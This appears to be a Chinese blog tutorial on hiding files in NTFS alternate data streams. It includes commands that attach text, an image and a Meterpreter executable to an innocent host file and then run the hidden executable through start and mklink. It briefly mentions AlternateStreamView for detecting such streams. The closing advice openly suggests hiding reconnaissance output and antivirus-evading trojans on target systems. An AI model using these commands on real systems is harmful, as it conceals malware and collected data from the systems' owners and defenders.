文件隐藏 之 NTFS 交换数据流

0x01 关于 NTFS 交换数据流

1
2
3
NTFS 交换数据流属于NTFS文件系统独有的特性,在NTFS文件系统下,每个文件都可以存在多个数据流
也就是说,除了主文件流之外,还可以有很多非主文件流寄宿在主文件流中,内部使用资源派生来维持与文件相关的信息
虽然,我们无法看到数据流文件,但是它却真实存在于系统中,更多更细致的解释,大家可自行参考百科或ntfs官方文档...

0x02 如何实际创建一个数据交换流文件,其实方法很简单,如下

1
命令格式 "宿主文件:准备与宿主文件相关联的数据流文件"

0x03 演示环境

1
2
win2008r2cn ip: 192.168.3.23
kali ip: 192.168.3.38 等会儿弹meterpreter

0x04 先准备好正常的文件

1
2
# echo "alternate data streams test" >> file.txt
# dir

0x05 开始尝试寄生文件

将bad.txt文件寄生在file.txt文件上,即file.txt是宿主,bad.txt才是真正的交换数据流文件,如果你是按照正常的文件名来访问的话,是看不到:bad.txt的,一定程度上也确实达到了我们要隐藏文件的效果

1
# echo "hello klion" >> file.txt:bad.txt

将spoof.txt文件寄生在stream目录上,即stream目录是宿主,spoof.txt是真正的交换数据流文件,对寄生文件的访问方式同上

1
# type file.txt >> stream:spoof.txt

将face.jpg文件寄生在file.txt文件上,当然,既是图片肯定要用画板才能打开,在win下,对于寄生文件的访问方式其实和我们正常文件访问方式没什么不同,是什么类型的文件,就用什么工具打开即可

1
2
# type smile.jpg >> file.txt:face.jpg
# mspaint file.txt:face.jpg

在03以下系统上寄生可执行文件的执行方式,直接像下面这样即可运行

1
2
# type shell.exe >> file.txt:meterpreter.exe
# start file.txt:meterpreter.exe /b

但在03以后的系统上寄生可执行文件的执行方式,除了上面的基本步骤之外,还多一步,需要先自己手工建立mklink好链接,之后才能正常访问,否则就会提示下面的错误,遗憾的是,链接文件在图形界面中是可见的,当然,这个链接也是有办法把它搞掉的,只是自己暂时还没成功,后续成功后会再更新上来

1
2
3
4
# type shell.exe >> file.txt:meterpreter.exe
# start file.txt:meterpreter.exe
# mklink "d:\NTFS Stream\link.exe" "d:\NTFS Stream\file.txt:meterpreter.exe"
# start link.exe /b



0x06 如何查找这类寄生的文件,其实很简单,nirsoft已经为我们提供好了AlternateStreamView,如下,另外,此类的工具多如牛毛,此处就不一一说明了


小结:
    有些朋友可能还会有疑问,这里非要用echotype[功能有点儿类似各个语言中文件操作的二进制方式读写]吗,难道只能寄生在这些类型的文件上吗,当然不是,只不过直接用目标系统中的工具会更好一点,[脑袋快的朋友可能早想到了,是的,没错,我们用powershell一样也可以达到同样甚至更好的效果,这个就留给大家去自行发挥了],要寄生在的对象可以是任意类型的文件,最后,关于此种方式的具体用途,我只能说,看大家自己的实际需求,比如,我们经常可能会用批处理去搜集一些目标系统信息,通常会把所有命令结果都直接重定向到一个文件中,然后再下载回来慢慢看,但如果我们用正常的文件,很可能会被对方发现,此时最简单隐蔽的方式,便是把结果文件寄生在目标现有的系统文件上,同样,我们也可以用这种方式直接把马寄生在目标系统中一个现有的文件上,前提是你的马确认已经免杀好了,否则很可能会触发报警,技术点确实已经非常老了,但并不代表不可以用,这里也仅仅是留个备忘,方便有需要的朋友